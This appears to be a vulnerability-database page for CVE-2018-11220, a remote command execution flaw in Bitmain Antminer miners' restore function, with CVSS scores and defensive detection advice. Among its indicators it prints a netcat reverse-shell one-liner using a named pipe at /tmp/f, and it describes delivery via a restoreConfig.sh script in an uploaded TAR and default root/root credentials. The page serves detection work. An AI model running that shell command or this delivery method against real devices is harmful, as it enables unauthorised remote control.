CVE-2018-11220

published 2018-05-31

CVE-2018-11220: Bitmain Antminer D3, L3+, and S9 devices allow Remote Command Execution via the system restore function.

Priority P2 67 high 8.8 CVSS 3.0

AV N AC L PR L UI N S U C H I H A H

EXPLOIT

Bitmain Antminer D3, L3+, and S9 devices allow Remote Command Execution via the system restore function.

Detection & IOCs extracted from sources · hover to see the quote

filename restoreConfig.sh↗

filename Exploit.tar↗

command rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc your_ip your_port >/tmp/f↗

path /tmp/f↗

• → Monitor HTTP multipart file upload requests to the system restore/upgrade endpoint containing a TAR archive with a file named 'restoreConfig.sh' — this is the malicious payload delivery mechanism for CVE-2018-11220. ↗
• → Alert on the presence of a named pipe at /tmp/f combined with an outbound netcat (nc) connection, which is the reverse shell pattern used in the exploit payload. ↗
• → Exploitation requires valid credentials; default credentials root/root on Bitmain Antminer devices should be treated as an active risk indicator — successful login followed by a restore/upgrade action is a high-fidelity attack sequence. ↗
• → Inspect uploaded TAR archives to the Antminer administration portal for the presence of shell scripts, particularly 'restoreConfig.sh', which is executed during the system restore process. ↗

• · Exploitation requires valid credentials to the Antminer administration portal, meaning the attacker must already have (or have guessed/brute-forced) login access before the RCE is reachable. ↗
• · The vulnerability affects multiple Antminer device families (D3, L3+, S9, and potentially others), so detection and patching scope should not be limited to a single model. ↗

CVSS provenance

nvd v3.0 8.8 HIGH CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

nvd v2.0 9.0 CRITICAL AV:N/AC:L/Au:S/C:C/I:C/A:C

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